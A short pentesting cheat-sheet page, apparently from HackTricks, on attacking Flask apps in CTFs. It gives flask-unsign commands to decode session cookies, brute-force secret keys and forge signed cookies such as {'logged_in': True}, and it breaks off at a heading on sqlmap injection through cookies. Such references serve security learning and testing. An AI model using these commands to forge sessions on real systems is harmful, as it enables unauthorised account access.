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https://github.com/carlospolop/hacktricks
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1.4 KiB
1.4 KiB
Flask
Probably if you are playing a CTF a Flask application will be related to SSTI.
Cookies
Default cookie session name is session.
Decoder
Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Flask-Unsign
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Decode Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --unsign --cookie < cookie.txt
Signing
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signing using legacy (old versions)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
SQLi in Flask session cookie with SQLmap
This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.